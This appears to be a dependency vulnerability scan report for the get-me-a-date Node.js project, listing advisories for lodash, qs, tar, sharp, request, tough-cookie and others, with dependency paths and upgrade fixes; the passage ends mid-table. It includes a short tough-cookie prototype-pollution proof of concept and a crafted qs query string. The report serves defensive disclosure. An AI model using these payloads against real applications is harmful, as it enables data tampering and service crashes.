  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.23 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21, facebook-login-for-robots@1.1.155 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › lodash@4.17.21
    Remediation: Upgrade to lodash@4.18.1.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › health-checkup@1.0.45 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

medium severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: minimatch
  • Introduced through: sqlite3@5.0.2 and facebook-login-for-robots@1.1.155

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › glob@7.2.3 › minimatch@3.1.5
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › puppeteer@8.0.0 › rimraf@3.0.2 › glob@7.2.3 › minimatch@3.1.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › npm-packlist@1.4.8 › ignore-walk@3.0.4 › minimatch@3.1.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.

Remediation

Upgrade minimatch to version 11.0.1 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: qs
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

medium severity

Incorrect Type Conversion or Cast

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.

Remediation

Upgrade tar to version 7.5.16 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.

Remediation

Upgrade tar to version 7.5.17 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tar to version 7.5.21 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: uri-js
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.

Remediation

There is no fixed version for uri-js.

References

medium severity

Integer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Integer Overflow in the bundled libvips GIF loader (VipsForeignLoadNsgif), which can miscompute image dimensions on 32-bit systems. An attacker can crash the process by supplying a GIF whose dimensions overflow the size calculation. Exploitation affects only 32-bit systems and requires the application to decode an untrusted GIF through sharp.

Workaround

This vulnerability can be avoided by blocking the GIF loader through sharp's block() for the VipsForeignLoadNsgif operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted GIF images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Out-of-bounds Read and null pointer dereference in the bundled libvips EXIF decoder, which does not validate the range of EXIF tag groups before passing them to libexif. An attacker can crash the process by supplying an image whose embedded EXIF metadata carries an out-of-range tag group. Exploitation requires the application to process an untrusted image whose EXIF metadata sharp reads.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Remote Code Execution (RCE)

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.30.5.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Remote Code Execution (RCE). There is a possible vulnerability in logic that is run only at npm install time when installing the package. If an attacker has the ability to set the value of the PKG_CONFIG_PATH environment variable in a build environment then they might be able to use this to inject an arbitrary command at npm install time. This is not part of any runtime code and does not affect Windows users at all.

Remediation

Upgrade sharp to version 0.30.5 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
